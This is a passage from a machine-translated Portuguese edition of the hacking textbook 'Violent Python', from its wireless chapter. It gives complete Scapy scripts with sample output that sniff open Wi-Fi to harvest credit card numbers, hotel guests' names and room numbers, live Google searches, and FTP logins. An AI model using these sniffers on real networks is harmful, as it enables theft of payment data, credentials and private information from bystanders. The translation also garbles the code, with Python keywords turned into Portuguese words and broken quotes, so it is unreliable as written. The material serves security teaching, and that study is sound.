Referências ............... 210 atacante # airmon­ng start wlan0

Interface chipset Condutor


wlan0 Ralink RT2870 / 3070 rt2800usb ­ [phy0]
(Modo monitor ativado em mon0)

Vamos testar rapidamente que podemos capturar wireless tráfego fi c depois de colocar o cartão
em modo de monitor. Observe que nós definir a nossa conf.iface para o recém­criado

Configurando o ambiente de Ataque sem fio 173

interface de monitoramento, mon0. Ao ouvir cada pacote, o script é executado a
procedimento pktPrint (). Este procedimento imprime uma mensagem se o pacote contém um
802,11 Beacon, um 802.11 Probe Response, um pacote TCP ou tráfego DNS fi c.
de scapy.all import *
def pktPrint (PKT):
Se pkt.haslayer (Dot11Beacon):
print '[+] Detectado 802,11 Beacon Frame'
elif pkt.haslayer (Dot11ProbeReq):
print '[+] Detectado 802.11 Probe Request Frame'
elif pkt.haslayer (TCP):
print '[+] Detectado um TCP Packet'
elif pkt.haslayer (DNS):
print '[+] detectado um pacote DNS'
conf.iface = 'mon0'
fungada (PRN = pktPrint)

Após fi anel até o script vemos um pouco de tráfego fi c. Observe que o tráfego fi c
inclui os pedidos 802,11 Sonda procura de redes, 802.11 Beacon
Quadros indicando tráfego fi c, e um DNS e de pacotes TCP. Neste ponto, nós sabemos
que nossas obras de cartão.
atacante test­sniff.py # python
[+] Detectado 802,11 Beacon Moldura
[+] Detectado 802,11 Beacon Moldura
[+] Detectado 802,11 Beacon Moldura
[+] Detectado 802.11 Probe Request Moldura
[+] Detectado 802,11 Beacon Moldura
[+] Detectado 802,11 Beacon Moldura
[+] Detectado um pacote DNS
[+] Detectado um pacote TCP

Instalando pacotes Python Bluetooth
Nós vamos cobrir alguns ataques Bluetooth neste capítulo. Para escrever Python Blue­
scripts de dente, vamos utilizar as ligações Python para o Linux Bluez Applica­
Programação ção Interface (API) ea API obexftp. Usar o apt­get para instalar
ambas as ligações no Backtrack 5.
atacante # sudo apt­get install python­bluez Bluetooth python­obexftp
Lendo listas de pacotes ... Feito
árvore de dependência edifício

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 116/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

174 CAPÍTULO 5: Mayhem sem fio com Python

Lendo informação de estado ... Feito
<.. Cortou ..>
Desembalar Bluetooth (a partir de ... / bluetooth_4.60­0ubuntu8_all.deb)
A seleção anteriormente desmarcadas pacote python­bluez.
Desembalar python­bluez (a partir de ... / python­bluez_0.18­1_amd64.deb)
Configurando Bluetooth (4.60­0ubuntu8) ...
Configurando python­bluez (0,18­1) ...
Processamento de gatilhos para python­central.

Além disso, você terá acesso a um dispositivo Bluetooth. A maioria Cambridge
Rádio silício (CSR) chipsets trabalho fi ne sob o Linux. Para os scripts neste
capítulo, vamos utilizar um adaptador USB SENA Parani UD100 Bluetooth. Para testar se
este sistema operacional reconhece o dispositivo, execute o hcicon fi g con fi g de comando.
Isso mostra os detalhes con fi guração para o nosso dispositivo Bluetooth.
atacante # hciconfig
hci0: Tipo: BR / EDR Bus: USB
BD Endereço: 00: 40: 12: 01: 01: 00 ACL MTU: 8192: 128
UP FUNCIONAMENTO pscan

RX Bytes: 801 acl: 0 sco: 0 eventos: 32 erros: 0
TX bytes: 400 acl: 0 sco: 0 comandos: 32 erros: 0

Neste capítulo, nós dois vamos interceptar e forjar quadros Bluetooth. Vou homens­
ção desta novamente no final do capítulo, mas é importante saber que Backtrack
5 R1 vem com uma falha­lhe falta os módulos do kernel necessários para enviar crua
pacotes Bluetooth no kernel compilado. Por esta razão, você precisa se quer
atualizar seu kernel ou usar Backtrack 5 r2.
As seções a seguir irá revelar emocionante. Vamos cheirar cartões de crédito, cria­ do usuário
dentials, aquisição de um UAV remotamente, identificar hackers sem fio, e perseguir e
explorar dispositivos Bluetooth. Por favor, verifique sempre as leis aplicáveis ​
em matéria de

a interceptação passiva e ativa das transmissões sem fio e Bluetooth.

A PAREDE DOS CARNEIROS­passivamente OUVIR
SEGREDOS SEM FIO
Desde 2001, o Wall of Sheep equipe montou um estande na DEFCON anual
conferência de segurança. Passivamente, a equipe atende a usuários registrando em e­mail,
sites ou outros serviços de rede sem qualquer proteção ou criptografia.
Quando a equipe detecta qualquer uma destas credenciais, eles exibem as credenciais
em uma tela grande com vista para o oor conferência fl. Nos últimos anos, a equipe
adicionou um projeto chamado Peekaboo, que esculpe imagens para a direita fora do wireless

O Wall of Sheep­Passivamente Ouvir Secrets sem fio 175

tráfego fi c também. Embora de natureza benigna, a equipe demonstra excelentemente
como um invasor pode capturar a mesma informação. Na seguinte seção
ções, vamos recriar vários ataques para roubar informações interessantes para a direita fora
do ar.

Usando Python expressões regulares para Sniff Cartões de Crédito
Antes fi snif ng uma rede sem fio para obter informações de cartão de crédito, uma rápida revisão
de expressões regulares irá revelar­se útil. As expressões regulares fornecem um meio
de combinar especí fi cos cordas de texto. Python fornece acesso a expressão regular,
sões como parte da expressão (re) biblioteca normal. Um par de especi fi c regulares
expressões seguir.
'.' Corresponde a qualquer caractere, exceto uma nova linha
'[Ab]' Combina tanto com a um personagem ou b
'[0­9]' Corresponde a qualquer dígitos 0­9
'^' Partidas início da string
'*' Faz com que a expressão regular para corresponder a 0 ou mais repetições do anterior
expressão regular
'+' Faz com que a expressão regular para coincidir com 1 ou mais repetições
'?' Faz com que a expressão regular para corresponder 0 ou 1 repetições do anterior
expressão regular
{N} Corresponde exatamente n cópias da expressão regular anterior

Um invasor pode usar expressões regulares para corresponder cordas para cartão de crédito núme­
bros. Para a simplicidade do nosso script, usaremos os três principais cartões de crédito:
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 117/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
Visa, MasterCard e American Express. Se você gostaria de saber mais
sobre a escrita de expressões regulares para cartões de crédito, visite http: //www.regular­
expressions.info/creditcard.html,que contém regulares expressões para
alguns outros fornecedores. American Express cartões de crédito começam com 34 ou
37 e são 15 dígitos. Vamos escrever uma pequena função para verificar uma string para
determinar se ele contém um cartão de crédito American Express. Se isso acontecer, vamos
imprimir esta informação para a tela. Observe a seguinte expressão regular;
que assegura o cartão de crédito deve começar com 3, seguido por um 4 ou 7. Em seguida,
a expressão regular matches13 mais dígitos para garantir um comprimento total de 15
dígitos.

importação re
def findCreditCard (bruto):
Americare = re.findall ( "3 [47] [0­9] {13}", raw)
se Americare:
print "Encontrado [+] cartão American Express:" + Americare [0]
def main ():
Testes = []

176 CAPÍTULO 5: Mayhem sem fio com Python

tests.append ( "Eu gostaria de comprar 1337 cópias desse dvd ')
tests.append ( 'Bill meu cartão: 378282246310005 para \ $ 2600')
para teste em ensaios:
findCreditCard (teste)
se __name__ == "__main__":
a Principal()

Correndo o nosso programa de caso de teste, vemos que ela corretamente vê o segundo teste
caso e imprime o número do cartão de crédito.

attacher $ python americanExpressTest.py
[+] Encontrado American Express Card: 378282246310005

Agora, examine as expressões regulares necessárias para fi nd MasterCards e Visa
cartões de crédito. cartões de crédito MasterCard começar com qualquer número entre 51 e
55 e são 16 dígitos. cartões de crédito Visa começar com o número 4, e são
quer 13 ou 16 dígitos. Vamos expandir nossa função fi ndCreditCard () para
fi nd MasterCard e Visa números de cartão de crédito. Observe a regular, MasterCard
expressão coincide com o número 5, seguido de 1 a 5, seguido por 14
dígitos, para um total de 16 dígitos de comprimento. A expressão regular começa com Visa
4, seguido por mais 12 dígitos. Aceitaremos 0 ou 1 casos de mais 3 dígitos
para garantir que temos 13 ou 16 dígitos no total de comprimento.

def findCreditCard (PKT):
raw = pkt.sprintf ( '% Raw.load%')
Americare = re.findall ( '3 [47] [0­9] {13}', raw)
masterRE = re.findall ( '5 [1­5] [0­9] {14}', raw)
visaRE = re.findall ( '4 [0­9] {12} (?:? [0­9] {3})', raw)
se Americare:
print '[+] Encontrado Express Card americano:' + Americare [0]
se masterRE:
print '[+] Encontrado MasterCard cartão:' + masterRE [0]
se visaRE:
print '[+] Encontrado Visa Card:' + visaRE [0]

Agora, temos de combinar estas expressões regulares dentro de Os pacotes wireless cheirou
ets. Por favor, lembre­se de usar o modo monitor para fins ng snif fi, uma vez que nos permite
observar ambos os quadros pretendidos e não destinados para nós como um destino final.
Para analisar pacotes interceptados em nosso interface sem fio, vamos usar o scapy
biblioteca. Observe o uso da função de cheirar (). Sniff () passa cada pacote TCP como

O Wall of Sheep­Passivamente Ouvir Secrets sem fio 177

um parâmetro para a função fi ndCreditCard (). Em menos de 25 linhas de Python

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 118/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
código, criamos um pequeno programa para roubar informações de cartão de crédito.
importação re
optparse importação
de scapy.all import *
def findCreditCard (PKT):
raw = pkt.sprintf ( '% Raw.load%')
Americare = re.findall ( '3 [47] [0­9] {13}', raw)
masterRE = re.findall ( '5 [1­5] [0­9] {14}', raw)
visaRE = re.findall ( '4 [0­9] {12} (?:? [0­9] {3})', raw)
se Americare:
print '[+] Encontrado Express Card americano:' + Americare [0]
se masterRE:
print '[+] Encontrado MasterCard cartão:' + masterRE [0]
se visaRE:
print '[+] Encontrado Visa Card:' + visaRE [0]
def main ():
parser = optparse.OptionParser ( 'uso% prog ­i <interface>')
parser.add_option ( '­ i', dest = 'interface', type = 'string', \
help = 'especificar interface para escutar em')
(Opções, args) = parser.parse_args ()
se options.interface == None:
printparser.usage
exit (0)
outro:
conf.iface = options.interface
experimentar:
print '[*] A partir do cartão de crédito Sniffer.
fungada (filtro = 'tcp', prn = findCreditCard, store = 0)
exceto KeyboardInterrupt:
exit (0)
se __name__ == '__main__':
a Principal()

Obviamente, não temos a intenção não para qualquer um para roubar dados de cartão de crédito. De fato,
este mesmo ataque aterrou um hacker sem fio e ladrão chamado Albert Gonzalez em
prisão por mais de vinte anos. Mas espero que você percebe este ataque é relativamente sim­
ple e não tão sofisticado como geralmente se acredita. Na próxima seção, vamos

178 CAPÍTULO 5: Mayhem sem fio com Python

DAS TRINCHEIRAS
A cessão da Sombra Tripulação
Em setembro de 2008, o procurador da República dos Estados Unidos de Massachusetts indiciado Albert Gonzalez para
fraude eletrônica, danos nos sistemas informáticos, fraude dispositivo de acesso e roubo agravado de identidade
(Heymann, 2008). Albert Gonzalez (soupnazi AKA) utilizado um tubo aspirador sem fios para obter acesso ao
sistemas de computadores da TJX Corporation. Na época, a TJX Corporação criptografado sua
tráfego fi c com o esquema de criptografia WEP reverente e menos seguro fl. Esta omissão permitiu Gon­
ShadowCrew de Zalez para interceptar e decifrar o tráfego fi sem fio c. Sua sniffer wireless, juntamente
com uma variedade de outras técnicas, ganhou acesso a mais de 45,7 milhões de cartões de clientes, incluindo
cartões comprometidos em BJWholesale, DSW, dos fi ce Max, Boston Market, Barnes and Noble, Sports
Autoridade e TJ Maxx.
Sete pés de altura e um hacker veterano, Steven Watt conspirou com o grupo Sombra em sua
actividades. Na época Watt teve uma carreira de brotamento escrever software de negociação em tempo real (Zetter,
2009). Para o seu papel na escrevendo o wireless sniffer, o estado sentencedWatt de dois anos na prisão
e forçou­o a pagar a restituição para TJX, no valor de US $ 171,5 milhões.

examinar um cenário separado onde vamos atacar uma rede sem fio sem criptografia
para roubar informações pessoais.

Snif fi ng Hotel Os hóspedes
A maioria dos hotéis oferecem redes públicas sem fio nestes dias. Muitas vezes, essas redes
deixam de criptografar tráfego fi c e carecem de qualquer tipo de autenticação ou criptografia empresarial
controlos. Esta seção examina um cenário em que algumas linhas de Python
pode explorar esta situação e levar a uma divulgação desastrosa de público
em formação.
Recentemente, eu fiquei em um hotel que oferece conectividade sem fio para os hóspedes.
Depois de se conectar à rede sem fio, o meu navegador web dirigiu­me
para uma página da Web para fazer logon na rede. As credenciais para a rede
incluíram o meu último nome e número de quarto de hotel. Após fornecer essas infor­

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 119/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
mação, meu navegador postou uma página HTTP não criptografado de volta para o servidor para
receber um cookie de autenticação. Examinando este post HTTP inicial revelou
algo interessante. Notei uma corda semelhante a PROVIDED_LAST_
NAME = OConnor & PROVIDED_ROOM_NUMBER = 1337.
A transmissão de texto simples para o servidor de hotel independentes tanto o meu último nome
e número de quarto de hotel. O servidor não fez qualquer tentativa para proteger esta informação
ção, e meu navegador simplesmente enviou esta informação em claro. Para este nomeada­
ular do hotel, nome e quarto no último número de um cliente desde que as credenciais
obrigado a comer um bife jantar no restaurante de hóspedes, receberá um caro
massagem, ou mesmo comprar itens na loja de presentes, então você pode imaginar esse hotel
os hóspedes não gostaria que um invasor obter um porão de informações pessoais.

O Wall of Sheep­Passivamente Ouvir Secrets sem fio 179

POST /common_ip_cgi/hn_seachange.cgi HTTP / 1.1
Anfitrião: 10.10.13.37
User­Agent: Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_7_1)
AppleWebKit / 534.48.3 (KHTML, como Gecko) Versão / 5.1 Safari / 534.48.3
Content­Length: 128
Accept: text / html, application / xhtml + xml, application /
XML; Q = 0,9, * / *; Q = 0,8
Origem: http: //10.10.10.1
DNT: 1

Referer: http: //10.10.10.1/common_ip_cgi/hn_seachange.cgi
Content­Type: application / x­www­form­urlencoded
Accept­Language: en­us
Accept­Encoding: gzip, desinflar
Conexão: keep­alive
SESSION_ID = deadbeef123456789abcdef1234567890 & RETURN_
MODE = 4 & VALIDATION_FLAG = 1 & PROVIDED_LAST_NAME = OConnor & PROVIDED_ROOM_
NÚMERO = 1337

Podemos agora usar Python para capturar essas informações de outros hóspedes do hotel.
Iniciando um sniffer sem fio em Python é bastante simples. Primeiro, vamos identificar o nosso
interface para capturar o tráfego fi c. Em seguida, o nosso sniffer escuta para tráfego fi c usando a cheirar ()
Função de perceber esta função fi ltros apenas TCP tráfego fi c e encaminha todos os pacotes
a um procedimento chamado fi ndGuest ().
conf.iface = "mon0"
experimentar:
print "[*] A partir do Hotel Guest Sniffer".
fungada (filtro = "tcp", prn = findGuest, store = 0)
exceto KeyboardInterrupt:
exit (0)
Quando a função findGuest recebe o pacote, que determina se o inter
pacotes geralmente aceites contém qualquer informação pessoal. Primeiro, ele copia a matérias
conteúdo da carga útil a uma variável chamada crua. Podemos, então, construir um reg­
expressão ular para analisar o último nome e número do quarto dos hóspedes.
Observe a nossa expressão regular para sobrenomes aceita qualquer string que começa
com LAST_NAME e termina com um símbolo comercial (&). o reg­
expressão ular para o número do quarto de hóspedes do hotel capta qualquer cadeia que
começa com ROOM_NUMBER.
def findGuest (PKT):
raw = pkt.sprintf ( "% Raw.load%")
name = re.findall ( "(? i) LAST_NAME = (. *) &", cru)
sala = re.findall ( "(? i) ROOM_NUMBER = (. *)", cru)

180 CAPÍTULO 5: Mayhem sem fio com Python

se o nome:
print "[+] Encontrado Hotel Guest" + str (nome [0]) \
+ ", Room #" + str (sala de [0])

Colocando tudo isso junto, temos agora um sniffer hóspede do hotel sem fio para capturar
o último nome e número da sala do hotel de qualquer cliente que se conecta ao arame
menos de rede. Observe que precisamos importar a biblioteca scapy a fim de ter
a capacidade de farejar o tráfego fi c e analisá­lo.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 120/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
optparse importação
de scapy.all import *
def findGuest (PKT):
raw = pkt.sprintf ( '% Raw.load%')
name = re.findall ( '(? i) LAST_NAME = (. *) &', raw)
sala = re.findall ( "(? i) ROOM_NUMBER = (. *)", cru)
se o nome:
print '[+] Encontrado Hotel Guest' + str (nome [0]) + \
', Room #' + str (sala de [0])
def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'­i <Interface>')
parser.add_option ( '­ i', dest = 'interface', \
type = 'string', help = 'especificar interface para escutar em')
(Opções, args) = parser.parse_args ()
se options.interface == None:
printparser.usage
exit (0)
outro:
conf.iface = options.interface
experimentar:
print '[*] A partir do Hotel Guest Sniffer.
fungada (filtro = 'tcp', prn = findGuest, store = 0)
exceto KeyboardInterrupt:
exit (0)
se __name__ == '__main__':
a Principal()

Correndo o nosso programa sniffer do hotel, vemos como um invasor pode identificar várias
os hóspedes do hotel.

O Wall of Sheep­Passivamente Ouvir Secrets sem fio 181

atacante # python hotelSniff.py ­i wlan0
[*] A partir do Hotel Guest Sniffer.
[+] Encontrado Hotel Guest MOORE, Room # 1337
[+] Encontrado Hotel Guest VASKOVICH, Room # 1984
[+] Encontrado Hotel Guest Baggett, Room # 43434343

Eu não posso enfatizar o suficiente neste momento que a recolha desta informação
potencialmente viola vários estaduais, federais e as leis nacionais. Na próxima seção,
vamos expandir ainda mais a nossa capacidade de farejar redes sem fio ao analisar Google
Pesquisas para a direita fora do ar.

Construindo um Key Logger sem fio Google
Você pode notar que o motor de busca Google fornece perto de feedback instantâneo
enquanto você digita na barra de pesquisa. Dependendo da velocidade da sua con­ Internet
ligação, o seu navegador pode enviar uma solicitação HTTP GET depois de quase quase todos os
de entrada chave para a barra de pesquisa. Examine a seguinte HTTP GET para o Google: aqui, eu
procurou a cadeia "qual é o sentido da vida?" Fora da minha própria paranóia,
Eu limpo um monte de parâmetros de pesquisa adicionais avançadas no
URL, mas notar que a pesquisa começa com um q = seguido pela cadeia de pesquisa
e que encerra com um e comercial. A cadeia pq = seguido indica um ante­
Pesquisa ous.

OBTER
/ S? Hl = en & cp = 27 & gs_id = 58 & xhr = t & q = o% 20is% 20the% 20meaning% 20of% 20
vida e pq = a + número + 42 & <.. cortou ..> HTTP / 1.1
Anfitrião: www.google.com
User­Agent: Mozilla / 5.0 (Macintosh; Intel Mac OS X 10_7_2)
AppleWebKit / 534.51.22 (KHTML, como Gecko) Versão / 5.1.1
Safari / 534.51.22
<.. Cortou ..>

Dicas e ferramentas
Google Parâmetros URL da pesquisa
O Google Search Parâmetros de URL fornecem bastante uma riqueza de information.This adicionais infor­
mação pode revelar­se bastante útil na construção de sua Key Logger Google. Analisando a consulta,

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 121/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
consulta anterior, língua, fi c frase de pesquisa específico para, fi le tipo ou site restrito tudo pode adicionar adi­
valor cional para a nossa Key Logger.Visit o documento do Google em http://www.google.com/cse/docs/
resultsxml.htmlpara obter informações sobre as Google URL da pesquisa parâmetros.

182 CAPÍTULO 5: Mayhem sem fio com Python

q = Consulta, o que foi digitado na caixa de pesquisa
= pq consulta anterior, a consulta anterior à pesquisa atual
hl = Language, padrão en [ê s] padrões, mas tente xx­Hacker para se divertir
as_epq = Frase exata
as_ fi letype = formato de arquivo, restringir a uma especi fi c fi tipo le tais como .zip
as_sitesearch = Restringir a um local c fi cações, como www.2600.com

Com este conhecimento dos parâmetros de URL do Google na mão, vamos construir rapidamente
um packet sniffer wireless que imprime pesquisas em tempo real, à medida que interceptá­los.
Desta vez, vamos usar uma função chamada fi ndGoogle () para lidar com pacotes inalado.
Aqui vamos copiar o conteúdo do pacote de dados a uma variável chamada carga útil. E se
esta carga útil contém um HTTP GET, podemos construir uma expressão regular para fi nd
a corrente cadeia de pesquisa Google. Finalmente, vamos limpar a string resultante.
URLs HTTP não pode conter quaisquer caracteres em branco. Para evitar esse problema, a web
navegador codifica espaços como + ou% 20 símbolos no URL. Para traduzir correctamente
a mensagem, devemos codificar qualquer + ou% 20 símbolos com caracteres em branco.
def findGoogle (PKT):
se pkt.haslayer (Raw):
payload = pkt.getlayer (Raw) .load
se 'GET' em carga útil:
se 'google' em carga útil:
r = re.findall (r '(? i) \ & q = (. *?) \ &', carga útil)
Se R:
search = r [0] .Split ( 'e') [0]
search = search.replace ( 'q =', ''). \
replace ( '+', '') .replace ( '% 20', '')
print '[+] Procurou Por:' + Pesquisa

Colocando todo o nosso roteiro sniffer Google juntos, podemos agora observar Google
procura à medida que ocorrem ao vivo. Repare que agora podemos usar a função fungada () para fi ltro
para TCP e somente a porta 80 tráfego fi c. Embora o Google não fornecer a capacidade de
enviar HTTPS tráfego fi c na porta 443, captar esse tráfego fi c é inútil, pois contém
uma carga criptografada. Assim, nós só irá capturar o tráfego HTTP fi c na porta TCP 80.
optparse importação
de scapy.all import *
def findGoogle (PKT):
se pkt.haslayer (Raw):
payload = pkt.getlayer (Raw) .load
se 'GET' em carga útil:
se 'google' em carga útil:

O Wall of Sheep­Passivamente Ouvir Secrets sem fio 183

r = re.findall (r '(? i) \ & q = (. *?) \ &', carga útil)
Se R:
search = r [0] .Split ( 'e') [0]
search = search.replace ( 'q =', ''). \
replace ( '+', '') .replace ( '% 20', '')
print '[+] Procurou Por:' + Pesquisa
def main ():
parser = optparse.OptionParser ( 'uso% prog ­i' + \
'<Interface>')
parser.add_option ( '­ i', dest = 'interface', \
type = 'string', help = 'especificar interface para escutar em')
(Opções, args) = parser.parse_args ()
se options.interface == None:
parser.usage de impressão

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 122/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

outro: exit (0)
conf.iface = options.interface
experimentar:
print '[*] A partir Google Sniffer.
fungada (filtro = 'porta 80 tcp', prn = findGoogle)
exceto KeyboardInterrupt:
exit (0)
se __name__ == '__main__':
a Principal()

Ateando fogo acima à sniffer dentro do alcance de alguém usando uma rede sem fio sem criptografia
conexão, vemos que a pessoa à procura de "qual é o sentido da vida?" Este
prova uma busca trivial, como qualquer pessoa que já leu The Hitchhiker Guia para
o Galaxy sabe o número 42 explica o significado da vida (Adams, 1980).
Enquanto interceptar Google tráfego fi c pode ser embaraçoso, a próxima seção
examina um meio para interceptar as credenciais do usuário­o que pode revelar­se mais
prejudicial à postura geral de segurança de uma organização.

atacante # python googleSniff.py ­i mon0
[*] A partir Google Sniffer.
[+] W
[+] O que
[+] O que é
[+] O que é a média
[+] Qual é o sentido da vida?

184 CAPÍTULO 5: Mayhem sem fio com Python

DAS TRINCHEIRAS
Google Street View Epic Fail
Em 2010, alegações vieram à tona que o Google Street View veículos que registraram imagens street view
também registrou pacotes wireless de redes sem fio não criptografadas. Google criou um software
software aplicativo chamado gslite.An avaliação independente de software revelou que gslite, em conjunção
ção com uma rede de código aberto e um programa de fi ng ​ packet­snif, fez captura de dados (Friedberg, 2010).

Apesar de não ser gravado com intenção maliciosa, esses dados continha informações de localização GPS.
Além disso, os dados gravados continha endereços MAC e SSIDs de dispositivos próximos (Friedman
berg, 2010) .Este fornecidos os dados proprietários com bastante um pouco de pessoal informação etiquetada
diretamente para os locais físicos das vítimas. Várias entidades governamentais de os EUA,
França, Alemanha, Índia e outros fi ações judiciais por violação de privacidade levou. Como criamos programas
a dados de registro, temos que garantir que verifique estado local, federal e as leis nacionais relativas sniff­
ção de dados (que eu disse que o suficiente neste capítulo?).

Snif credenciais FTP fi ng
O File Transfer Protocol (FTP) carece de qualquer criptografia significa para proteger usuário
credenciais. Um invasor pode facilmente interceptar essas credenciais quando uma vítima
transmite­os através de uma rede sem criptografia. Dê uma olhada no seguinte
tcpdump que mostra as credenciais do usuário interceptadas (usuário root / PASS secretos).
O File Transfer Protocol troca essas credenciais em texto simples sobre o fio.
atacante # tcpdump ­A ­i mon0 'porta 21 tcp'
.. E .. (.. @ @ q ..._........... R. = |. .P.9 .....
20: 54: 58,388129 IP 192.168.95.128.42653> 192.168.211.1.ftp:
Flags [P.], SEQ 1:17, ack 63, ganhar 14600, comprimento 16
.. E..8 .. @ @ q ..._........... R. = |. .P.9 ..... Usuário root
20: 54: 58,388933 IP 192.168.95.128.42653> 192.168.211.1.ftp:
Flags [.], Ack 112, ganhar 14600, comprimento 0
.. E .. (.. @ @ q ..._........... R. = |. .P.9 .....
20: 55: 00,732327 IP 192.168.95.128.42653> 192.168.211.1.ftp:
Flags [P.], seq 17:33, ack 112, ganhar 14600, comprimento 16
.. E..8 .. @ @ q ..._........... R. = |. .P.9 ..... PASS secreto

Para interceptar essas credenciais, vamos olhar para duas cordas específicas. O primeiro fi
cadeia contém USUÁRIO seguido do nome de usuário. A segunda cadeia contém
PASS seguido da senha. Como vimos no tcpdump, os dados (ou de carga,
como scapy se refere a ele) campo do pacote TCP contém essas credenciais. Nós vamos
elaborar duas expressões regulares rápidas para capturar essas informações, e nós irá retirar
o endereço IP de destino do pacote bem. O nome de usuário e senha
são inúteis sem o endereço do servidor de FTP.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 123/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

O Wall of Sheep­Passivamente Ouvir Secrets sem fio 185

de scapy.all import *
def ftpSniff (PKT):
dest = pkt.getlayer .dst (IP)
raw = pkt.sprintf ( '% Raw.load%')
user = re.findall ( '(? i) USUÁRIO (. *) ", cru)
pswd = re.findall ( '(? i) PASS (. *) ", cru)
se o usuário:
print '[*] FTP detectado Login to' + str (dest)
print '[+] conta de usuário: "+ str (usuário [0])
elif pswd:
print '[+] Password:' + str (pswd [0])

Colocando todo o nosso roteiro juntos, podemos farejar TCP tráfego fi c somente na porta TCP 21.
Nós também irá adicionar alguma análise opção para permitir­nos escolher qual adaptador de rede
para usar para o nosso sniffer. A execução deste programa nos permite interceptar logons FTP semelhantes
à ferramenta utilizada pelo Wall of Sheep.
optparse importação
de scapy.all import *
def ftpSniff (PKT):
dest = pkt.getlayer .dst (IP)
raw = pkt.sprintf ( '% Raw.load%')
user = re.findall ( '(? i) USUÁRIO (. *) ", cru)
pswd = re.findall ( '(? i) PASS (. *) ", cru)
se o usuário:
print '[*] FTP detectado Login to' + str (dest)
print '[+] conta de usuário: "+ str (usuário [0])
elif pswd:
print '[+] Password:' + str (pswd [0])
def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'­i <Interface>')
parser.add_option ( '­ i', dest = 'interface', \
type = 'string', help = 'especificar interface para escutar em')
(Opções, args) = parser.parse_args ()
se options.interface == None:
parser.usage de impressão
exit (0)
outro:
conf.iface = options.interface

186 CAPÍTULO 5: Mayhem sem fio com Python

experimentar:
fungada (filtro = 'porta 21 tcp', prn = ftpSniff)
exceto KeyboardInterrupt:
exit (0)
se __name__ == '__main__':
a Principal()

Correndo o nosso script, detectamos um início de sessão para um servidor FTP e mostrar o usuário
credenciais usadas para fazer logon no servidor: agora temos um sniffer de credenciais FTP
em menos de 30 linhas de código Python. Enquanto as credenciais do usuário pode fornecer­nos
acesso a uma rede, vamos usar o Wireless snif fi ng na próxima seção para examinar
história passada de um usuário.

atacante: ~ # python ftp­sniff.py ­i mon0
[*] FTP detectado Acesso ao 192.168.211.1
[+] Conta de usuário: root \ r \ n
[+] Senha: secret \ r \ n

ONDE TENHA SEU PORTÁTIL FOI? PYTHON
RESPOSTAS
Alguns anos atrás eu ensinei uma aula sobre segurança sem fio. Eu desativado o normal,

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 124/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
rede sem fio no quarto para que os alunos iriam prestar atenção, mas também
para impedir que hackers quaisquer vítimas não intencionais. A poucos minutos antes
para a aula eu comecei um scanner de rede sem fio como parte de uma demonstração de classe.
Notei algo interessante: vários clientes na sala sondado para a sua
redes preferido, numa tentativa de estabelecer uma ligação. Um aluno em particular
tinha acabado de chegar de volta de Los Angeles. Seu computador sondado para LAX_Wireless
e Hooters_WiFi. I feito uma piada fora de mão, perguntando se o estudante tinha desfrutado
sua escala no LAX e se ele tinha parado fora no restaurante Hooters em seu
viagem. Ele ficou surpreso: como é que eu sei que esta informação?

Escuta de 802.11 pedidos de sondagem
Em uma tentativa de fornecer conectividade sem costura, computador e telefone com frequência
manter uma lista rede preferencial, que contém os nomes de redes sem fio que você
se conectou com sucesso no passado. Ou quando o computador é iniciado
ou depois de desconectar­se de uma rede, o computador frequentemente envia 802.11
Probe pedidos de pesquisa para cada um dos nomes de rede em que a lista.
Vamos escrever rapidamente uma ferramenta para detectar 802.11 pedidos de sondagem. Neste exemplo, nós
vai chamar a nossa função de manipulação de pacotes sniffProbe (). Observe que vamos resolver

Para onde foi o seu laptop Já esteve? Python Respostas 187

apenas 802.11 pedidos de sondagem, pedindo o pacote se haslayer (Dot11ProbeReq).
Se o pedido contém um novo nome de rede, podemos imprimir o nome da rede
para a tela.
de scapy.all import *
= Interface 'mon0'
probeReqs = []
